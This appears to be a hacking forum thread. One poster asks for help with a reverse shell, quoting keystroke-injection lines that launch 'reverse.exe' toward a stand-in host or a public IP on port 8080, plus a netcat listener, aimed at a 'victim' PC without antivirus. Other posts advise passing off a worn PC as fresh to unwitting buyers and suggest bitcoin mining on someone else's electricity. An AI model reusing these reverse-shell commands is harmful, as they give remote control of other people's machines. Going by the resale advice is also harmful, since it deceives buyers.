MasterRaider

Unless he sells the PC to a complete noob, I sold my old severely USED gaming PC for 1,300 and I built it with $800, just fresh install the OS and remove the non-essentials, and the noobs will never know the different. Remember it been report that people love $20 wine when they are told it cost $150, google it. But I suggest that you consider the bitcoin miner option.

Maybe it is the router, I'm going to use two different PCs now with two different routers but can anyone confirm this is right: "STRING c:\reverse.exe xx.xx.xxx.xxx 8080"

Both Routers are from Netgear

No, our house is a bit big and has thick concrete walls and i think has aluminum sheet in it. But anyways the two computer are on two different router(neighbor router) no firewalls are enable on each router. Both PCs are connected to the internet, no AVs, and i think I remember everything about I address.

Ok I'm a bit rusty with BT5 Netcat, CMD, and coding in general, due to a year real changing stuff. After hours of recalling my memory I keep getting brain farts "STRING c:\reverse.exe evilserver.example.com 8080" - this is part i put my public ip address and i'm not sure I getting this right I've tried "STRING c:\reverse.exe xx.xx.xxx.xxx 8080" "STRING c:\reverse.exe http://xx.xx.xxx.xxx 8080" "STRING c:\reverse.exe [couple of commands] xx.xx.xxx.xxx 8080" I know I'm making some sort of noob error, but I can't figure out what I keep getting nothing when I put "nc -l 8080" *note* my dummy/victim PC has no AV sorry for taking up your time with a stupid question

Hmmm you might want to consider a Bitcoin Miner option, located somewhere you don't pay electricity(not your parent house), I know you will won't recieve a lot of bitcoins but, some is better than none and if they worth over $30 a bitcoin someday then you can make a bit of profit.